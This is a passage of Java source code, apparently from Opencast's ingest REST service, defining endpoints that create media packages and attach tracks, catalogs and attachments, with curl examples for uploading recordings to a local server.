import org.opencastproject.mediapackage.MediaPackageElementFlavor;
import org.opencastproject.mediapackage.MediaPackageElements;
import org.opencastproject.mediapackage.MediaPackageException;
import org.opencastproject.mediapackage.MediaPackageParser;
import org.opencastproject.mediapackage.MediaPackageSupport;
import org.opencastproject.mediapackage.identifier.IdImpl;
import org.opencastproject.metadata.dublincore.DublinCore;
import org.opencastproject.metadata.dublincore.DublinCoreCatalog;
import org.opencastproject.metadata.dublincore.DublinCoreCatalogService;
import org.opencastproject.metadata.dublincore.DublinCores;
import org.opencastproject.rest.AbstractJobProducerEndpoint;
import org.opencastproject.scheduler.api.SchedulerConflictException;
import org.opencastproject.scheduler.api.SchedulerException;
import org.opencastproject.security.api.TrustedHttpClient;
import org.opencastproject.security.api.UnauthorizedException;
import org.opencastproject.serviceregistry.api.ServiceRegistry;
import org.opencastproject.util.NotFoundException;
import org.opencastproject.util.data.Function0.X;
import org.opencastproject.util.doc.rest.RestParameter;
import org.opencastproject.util.doc.rest.RestQuery;
import org.opencastproject.util.doc.rest.RestResponse;
import org.opencastproject.util.doc.rest.RestService;
import org.opencastproject.workflow.api.WorkflowInstance;
import org.opencastproject.workflow.api.WorkflowParser;
import com.google.common.cache.Cache;
import com.google.common.cache.CacheBuilder;
import org.apache.commons.fileupload.FileItemIterator;
import org.apache.commons.fileupload.FileItemStream;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.commons.fileupload.util.Streams;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.exception.ExceptionUtils;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.osgi.service.component.ComponentContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URI;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.ws.rs.Consumes;
import javax.ws.rs.FormParam;
import javax.ws.rs.GET;
import javax.ws.rs.POST;
import javax.ws.rs.PUT;
import javax.ws.rs.Path;
import javax.ws.rs.PathParam;
import javax.ws.rs.Produces;
import javax.ws.rs.QueryParam;
import javax.ws.rs.core.Context;
import javax.ws.rs.core.MediaType;
import javax.ws.rs.core.MultivaluedHashMap;
import javax.ws.rs.core.MultivaluedMap;
import javax.ws.rs.core.Response;
import javax.ws.rs.core.Response.Status;
/**
* Creates and augments Opencast MediaPackages using the api. Stores media into the Working File Repository.
*/
@Path("/")
@RestService(name = "ingestservice", title = "Ingest Service", abstractText = "This service creates and augments Opencast media packages that include media tracks, metadata "
+ "catalogs and attachments.", notes = {
"All paths above are relative to the REST endpoint base (something like http://your.server/files)",
"If the service is down or not working it will return a status 503, this means the the underlying service is "
+ "not working and is either restarting or has failed",
"A status code 500 means a general failure has occurred which is not recoverable and was not anticipated. In "
+ "other words, there is a bug! You should file an error report with your server logs from the time when the "
+ "error occurred: <a href=\"https://opencast.jira.com\">Opencast Issue Tracker</a>" })
public class IngestRestService extends AbstractJobProducerEndpoint {
private static final Logger logger = LoggerFactory.getLogger(IngestRestService.class);
/** Key for the default workflow definition in config.properties */
protected static final String DEFAULT_WORKFLOW_DEFINITION = "org.opencastproject.workflow.default.definition";
/** Key for the default maximum number of ingests in config.properties */
protected static final String MAX_INGESTS_KEY = "org.opencastproject.ingest.max.concurrent";
/** The http request parameter used to provide the workflow instance id */
protected static final String WORKFLOW_INSTANCE_ID_PARAM = "workflowInstanceId";
/** The http request parameter used to provide the workflow definition id */
protected static final String WORKFLOW_DEFINITION_ID_PARAM = "workflowDefinitionId";
/** The default workflow definition */
private String defaultWorkflowDefinitionId = null;
/** The http client */
private TrustedHttpClient httpClient;
/** Dublin Core Terms: http://purl.org/dc/terms/ */
private static List<String> dcterms = Arrays.asList("abstract", "accessRights", "accrualMethod",
"accrualPeriodicity", "accrualPolicy", "alternative", "audience", "available", "bibliographicCitation",
"conformsTo", "contributor", "coverage", "created", "creator", "date", "dateAccepted", "dateCopyrighted",
"dateSubmitted", "description", "educationLevel", "extent", "format", "hasFormat", "hasPart", "hasVersion",
"identifier", "instructionalMethod", "isFormatOf", "isPartOf", "isReferencedBy", "isReplacedBy",
"isRequiredBy", "issued", "isVersionOf", "language", "license", "mediator", "medium", "modified",
"provenance", "publisher", "references", "relation", "replaces", "requires", "rights", "rightsHolder",
"source", "spatial", "subject", "tableOfContents", "temporal", "title", "type", "valid");
private MediaPackageBuilderFactory factory = null;
private IngestService ingestService = null;
private ServiceRegistry serviceRegistry = null;
private DublinCoreCatalogService dublinCoreService;
// The number of ingests this service can handle concurrently.
private int ingestLimit = -1;
/* Stores a map workflow ID and date to update the ingest start times post-hoc */
private Cache<String, Date> startCache = null;
/* Formatter to for the date into a string */
private DateFormat formatter = new SimpleDateFormat(IngestService.UTC_DATE_FORMAT);
public IngestRestService() {
factory = MediaPackageBuilderFactory.newInstance();
startCache = CacheBuilder.newBuilder().expireAfterAccess(1, TimeUnit.DAYS).build();
}
/**
* Returns the maximum number of concurrent ingest operations or <code>-1</code> if no limit is enforced.
*
* @return the maximum number of concurrent ingest operations
* @see #isIngestLimitEnabled()
*/
protected synchronized int getIngestLimit() {
return ingestLimit;
}
/**
* Sets the maximum number of concurrent ingest operations. Use <code>-1</code> to indicate no limit.
*
* @param ingestLimit
* the limit
*/
private synchronized void setIngestLimit(int ingestLimit) {
this.ingestLimit = ingestLimit;
}
/**
* Returns <code>true</code> if a maximum number of concurrent ingest operations has been defined.
*
* @return <code>true</code> if there is a maximum number of concurrent ingests
*/
protected synchronized boolean isIngestLimitEnabled() {
return ingestLimit >= 0;
}
/**
* Callback for activation of this component.
*/
public void activate(ComponentContext cc) {
if (cc != null) {
defaultWorkflowDefinitionId = trimToNull(cc.getBundleContext().getProperty(DEFAULT_WORKFLOW_DEFINITION));
if (defaultWorkflowDefinitionId == null) {
defaultWorkflowDefinitionId = "schedule-and-upload";
}
if (cc.getBundleContext().getProperty(MAX_INGESTS_KEY) != null) {
try {
ingestLimit = Integer.parseInt(trimToNull(cc.getBundleContext().getProperty(MAX_INGESTS_KEY)));
if (ingestLimit == 0) {
ingestLimit = -1;
}
} catch (NumberFormatException e) {
logger.warn("Max ingest property with key " + MAX_INGESTS_KEY
+ " isn't defined so no ingest limit will be used.");
ingestLimit = -1;
}
}
}
}
@PUT
@Produces(MediaType.TEXT_XML)
@Path("createMediaPackageWithID/{id}")
@RestQuery(name = "createMediaPackageWithID", description = "Create an empty media package with ID /n Overrides Existing Mediapackage ", pathParameters = {
@RestParameter(description = "The Id for the new Mediapackage", isRequired = true, name = "id", type = RestParameter.Type.STRING) }, reponses = {
@RestResponse(description = "Returns media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response createMediaPackage(@PathParam("id") String mediaPackageId) {
MediaPackage mp;
try {
mp = ingestService.createMediaPackage(mediaPackageId);
startCache.put(mp.getIdentifier().toString(), new Date());
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@GET
@Produces(MediaType.TEXT_XML)
@Path("createMediaPackage")
@RestQuery(name = "createMediaPackage", description = "Create an empty media package", restParameters = {
}, reponses = {
@RestResponse(description = "Returns media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response createMediaPackage() {
MediaPackage mp;
try {
mp = ingestService.createMediaPackage();
startCache.put(mp.getIdentifier().toString(), new Date());
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Path("discardMediaPackage")
@RestQuery(name = "discardMediaPackage", description = "Discard a media package", restParameters = { @RestParameter(description = "Given media package to be destroyed", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response discardMediaPackage(@FormParam("mediaPackage") String mpx) {
logger.debug("discardMediaPackage(MediaPackage): {}", mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
ingestService.discardMediaPackage(mp);
return Response.ok().build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addTrack")
@RestQuery(name = "addTrackURL", description = "Add a media track to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the media", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of media", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The Tags of the media track", isRequired = false, name = "tags", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageTrack(@FormParam("url") String url, @FormParam("flavor") String flavor, @FormParam("tags") String tags,
@FormParam("mediaPackage") String mpx) {
logger.trace("add media package from url: {} flavor: {} tags: {} mediaPackage: {}", url, flavor, tags, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
String[] tagsArray = null;
if (tags != null) {
tagsArray = tags.split(",");
}
mp = ingestService.addTrack(new URI(url), MediaPackageElementFlavor.parseFlavor(flavor), tagsArray, mp);
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addTrack")
@RestQuery(
name = "addTrackInputStream",
description = "Add a media track to a given media package using an input stream",
restParameters = {
@RestParameter(description = "The kind of media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The Tags of the media track", isRequired = false, name = "tags", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) },
bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE),
reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) },
returnDescription = "")
public Response addMediaPackageTrack(@Context HttpServletRequest request) {
logger.trace("add track as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Track);
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addPartialTrack")
@RestQuery(name = "addPartialTrackURL", description = "Add a partial media track to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the media", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of media", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The start time in milliseconds", isRequired = true, name = "startTime", type = RestParameter.Type.INTEGER),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackagePartialTrack(@FormParam("url") String url, @FormParam("flavor") String flavor,
@FormParam("startTime") Long startTime, @FormParam("mediaPackage") String mpx) {
logger.trace("add partial track with url: {} flavor: {} startTime: {} mediaPackage: {}",
url, flavor, startTime, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
mp = ingestService.addPartialTrack(new URI(url), MediaPackageElementFlavor.parseFlavor(flavor), startTime, mp);
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addPartialTrack")
@RestQuery(name = "addPartialTrackInputStream", description = "Add a partial media track to a given media package using an input stream", restParameters = {
@RestParameter(description = "The kind of media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The start time in milliseconds", isRequired = true, name = "startTime", type = RestParameter.Type.INTEGER),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackagePartialTrack(@Context HttpServletRequest request) {
logger.trace("add partial track as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Track);
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addCatalog")
@RestQuery(name = "addCatalogURL", description = "Add a metadata catalog to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the catalog", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of catalog", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageCatalog(@FormParam("url") String url, @FormParam("flavor") String flavor,
@FormParam("mediaPackage") String mpx) {
logger.trace("add catalog with url: {} flavor: {} mediaPackage: {}", url, flavor, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
MediaPackage resultingMediaPackage = ingestService.addCatalog(new URI(url),
MediaPackageElementFlavor.parseFlavor(flavor), mp);
return Response.ok(resultingMediaPackage).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addCatalog")
@RestQuery(name = "addCatalogInputStream", description = "Add a metadata catalog to a given media package using an input stream", restParameters = {
@RestParameter(description = "The kind of media catalog", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, bodyParameter = @RestParameter(description = "The metadata catalog file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageCatalog(@Context HttpServletRequest request) {
logger.trace("add catalog as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Catalog);
}
@POST
@Produces(MediaType.TEXT_XML)
@Path("addAttachment")
@RestQuery(name = "addAttachmentURL", description = "Add an attachment to a given media package using an URL", restParameters = {
@RestParameter(description = "The location of the attachment", isRequired = true, name = "url", type = RestParameter.Type.STRING),
@RestParameter(description = "The kind of attachment", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageAttachment(@FormParam("url") String url, @FormParam("flavor") String flavor,
@FormParam("mediaPackage") String mpx) {
logger.trace("add attachment with url: {} flavor: {} mediaPackage: {}", url, flavor, mpx);
try {
MediaPackage mp = factory.newMediaPackageBuilder().loadFromXml(mpx);
if (MediaPackageSupport.sanityCheck(mp).isSome())
return Response.serverError().status(Status.BAD_REQUEST).build();
mp = ingestService.addAttachment(new URI(url), MediaPackageElementFlavor.parseFlavor(flavor), mp);
return Response.ok(mp).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addAttachment")
@RestQuery(name = "addAttachmentInputStream", description = "Add an attachment to a given media package using an input stream", restParameters = {
@RestParameter(description = "The kind of attachment", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "The media package as XML", isRequired = true, name = "mediaPackage", type = RestParameter.Type.TEXT) }, bodyParameter = @RestParameter(description = "The attachment file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE), reponses = {
@RestResponse(description = "Returns augmented media package", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Media package not valid", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "", responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) }, returnDescription = "")
public Response addMediaPackageAttachment(@Context HttpServletRequest request) {
logger.trace("add attachment as multipart-form-data");
return addMediaPackageElement(request, MediaPackageElement.Type.Attachment);
}
protected Response addMediaPackageElement(HttpServletRequest request, MediaPackageElement.Type type) {
MediaPackageElementFlavor flavor = null;
InputStream in = null;
try {
String fileName = null;
MediaPackage mp = null;
Long startTime = null;
String[] tags = null;
/* Only accept multipart/form-data */
if (!ServletFileUpload.isMultipartContent(request)) {
logger.trace("request isn't multipart-form-data");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
boolean isDone = false;
for (FileItemIterator iter = new ServletFileUpload().getItemIterator(request); iter.hasNext();) {
FileItemStream item = iter.next();
String fieldName = item.getFieldName();
if (item.isFormField()) {
if ("flavor".equals(fieldName)) {
String flavorString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("flavor: {}", flavorString);
if (flavorString != null) {
try {
flavor = MediaPackageElementFlavor.parseFlavor(flavorString);
} catch (IllegalArgumentException e) {
String error = String.format("Could not parse flavor '%s'", flavorString);
logger.debug(error, e);
return Response.status(Status.BAD_REQUEST).entity(error).build();
}
}
} else if ("tags".equals(fieldName)) {
String tagsString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("tags: {}", tagsString);
tags = tagsString.split(",");
} else if ("mediaPackage".equals(fieldName)) {
try {
String mediaPackageString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("mediaPackage: {}", mediaPackageString);
mp = factory.newMediaPackageBuilder().loadFromXml(mediaPackageString);
} catch (MediaPackageException e) {
logger.debug("Unable to parse the 'mediaPackage' parameter: {}", ExceptionUtils.getMessage(e));
return Response.serverError().status(Status.BAD_REQUEST).build();
}
} else if ("startTime".equals(fieldName) && "/addPartialTrack".equals(request.getPathInfo())) {
String startTimeString = Streams.asString(item.openStream(), "UTF-8");
logger.trace("startTime: {}", startTime);
try {
startTime = Long.parseLong(startTimeString);
} catch (Exception e) {
logger.debug("Unable to parse the 'startTime' parameter: {}", ExceptionUtils.getMessage(e));
return Response.serverError().status(Status.BAD_REQUEST).build();
}
}
} else {
if (flavor == null) {
/* A flavor has to be specified in the request prior the video file */
logger.debug("A flavor has to be specified in the request prior to the content BODY");
return Response.serverError().status(Status.BAD_REQUEST).build();
}
fileName = item.getName();
in = item.openStream();
isDone = true;
}
if (isDone) {
break;
}
}
/*
* Check if we actually got a valid request including a message body and a valid mediapackage to attach the
* element to
*/
if (in == null || mp == null || MediaPackageSupport.sanityCheck(mp).isSome()) {
return Response.serverError().status(Status.BAD_REQUEST).build();
}
switch (type) {
case Attachment:
mp = ingestService.addAttachment(in, fileName, flavor, tags, mp);
break;
case Catalog:
mp = ingestService.addCatalog(in, fileName, flavor, tags, mp);
break;
case Track:
if (startTime == null) {
mp = ingestService.addTrack(in, fileName, flavor, tags, mp);
} else {
mp = ingestService.addPartialTrack(in, fileName, flavor, startTime, mp);
}
break;
default:
throw new IllegalStateException("Type must be one of track, catalog, or attachment");
}
return Response.ok(MediaPackageParser.getAsXml(mp)).build();
} catch (Exception e) {
logger.warn(e.getMessage(), e);
return Response.serverError().status(Status.INTERNAL_SERVER_ERROR).build();
} finally {
IOUtils.closeQuietly(in);
}
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addMediaPackage")
@RestQuery(name = "addMediaPackage",
description = "<p>Create and ingest media package from media tracks with additional Dublin Core metadata. It is "
+ "mandatory to set a title for the recording. This can be done with the 'title' form field or by supplying a DC "
+ "catalog with a title included. The identifier of the newly created media package will be taken from the "
+ "<em>identifier</em> field or the episode DublinCore catalog (deprecated<sup>*</sup>). If no identifier is "
+ "set, a new random UUIDv4 will be generated. This endpoint is not meant to be used by capture agents for "
+ "scheduled recordings. Its primary use is for manual ingests with command line tools like curl.</p> "
+ "<p>Multiple tracks can be ingested by using multiple form fields. It is important to always set the "
+ "flavor of the next media file <em>before</em> sending the media file itself.</p>"
+ "<b>(*)</b> The special treatment of the identifier field is deprecated and may be removed in future versions "
+ "without further notice in favor of a random UUID generation to ensure uniqueness of identifiers. "
+ "<h3>Example curl command:</h3>"
+ "<p>Ingest one video file:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording.mp4' \n"
+ "</pre></p>"
+ "<p>Ingest two video files:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording-vga.mp4' \\\n"
+ " -F 'flavor=presenter/source' -F 'BODY=@test-recording-camera.mp4' \n"
+ "</pre></p>",
restParameters = {
@RestParameter(description = "The kind of media track. This has to be specified prior to each media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "abstract", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "accessRights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "available", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "contributor", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "coverage", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "created", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "creator", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "date", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "description", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "extent", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "format", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "identifier", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isPartOf", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReferencedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "isReplacedBy", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "language", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "license", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "publisher", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "relation", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "replaces", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rights", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "rightsHolder", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "source", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "spatial", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "subject", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "temporal", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "title", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode metadata value", isRequired = false, name = "type", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Episode DublinCore Catalog", isRequired = false, name = "episodeDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of series DublinCore Catalog", isRequired = false, name = "seriesDCCatalogUri", type = RestParameter.Type.STRING),
@RestParameter(description = "Series DublinCore Catalog", isRequired = false, name = "seriesDCCatalog", type = RestParameter.Type.STRING),
@RestParameter(description = "URL of a media track file", isRequired = false, name = "mediaUri", type = RestParameter.Type.STRING) },
bodyParameter = @RestParameter(description = "The media track file", isRequired = true, name = "BODY", type = RestParameter.Type.FILE),
reponses = {
@RestResponse(description = "Ingest successfull. Returns workflow instance as xml", responseCode = HttpServletResponse.SC_OK),
@RestResponse(description = "Ingest failed due to invalid requests.", responseCode = HttpServletResponse.SC_BAD_REQUEST),
@RestResponse(description = "Ingest failed. Something went wrong internally. Please have a look at the log files",
responseCode = HttpServletResponse.SC_INTERNAL_SERVER_ERROR) },
returnDescription = "")
public Response addMediaPackage(@Context HttpServletRequest request) {
logger.trace("add mediapackage as multipart-form-data");
return addMediaPackage(request, null);
}
@POST
@Produces(MediaType.TEXT_XML)
@Consumes(MediaType.MULTIPART_FORM_DATA)
@Path("addMediaPackage/{wdID}")
@RestQuery(name = "addMediaPackage",
description = "<p>Create and ingest media package from media tracks with additional Dublin Core metadata. It is "
+ "mandatory to set a title for the recording. This can be done with the 'title' form field or by supplying a DC "
+ "catalog with a title included. The identifier of the newly created media package will be taken from the "
+ "<em>identifier</em> field or the episode DublinCore catalog (deprecated<sup>*</sup>). If no identifier is "
+ "set, a newa randumm UUIDv4 will be generated. This endpoint is not meant to be used by capture agents for "
+ "scheduled recordings. It's primary use is for manual ingests with command line tools like curl.</p> "
+ "<p>Multiple tracks can be ingested by using multiple form fields. It's important, however, to always set the "
+ "flavor of the next media file <em>before</em> sending the media file itself.</p>"
+ "<b>(*)</b> The special treatment of the identifier field is deprecated any may be removed in future versions "
+ "without further notice in favor of a random UUID generation to ensure uniqueness of identifiers. "
+ "<h3>Example curl command:</h3>"
+ "<p>Ingest one video file:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage/fast -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording.mp4' \n"
+ "</pre></p>"
+ "<p>Ingest two video files:</p>"
+ "<p><pre>\n"
+ "curl -f -i --digest -u opencast_system_account:CHANGE_ME -H 'X-Requested-Auth: Digest' \\\n"
+ " http://localhost:8080/ingest/addMediaPackage/fast -F creator='John Doe' -F title='Test Recording' \\\n"
+ " -F 'flavor=presentation/source' -F 'BODY=@test-recording-vga.mp4' \\\n"
+ " -F 'flavor=presenter/source' -F 'BODY=@test-recording-camera.mp4' \n"
+ "</pre></p>",
pathParameters = {
@RestParameter(description = "Workflow definition id", isRequired = true, name = "wdID", type = RestParameter.Type.STRING) },
restParameters = {
@RestParameter(description = "The kind of media track. This has to be specified prior to each media track", isRequired = true, name = "flavor", type = RestParameter.Type.STRING),
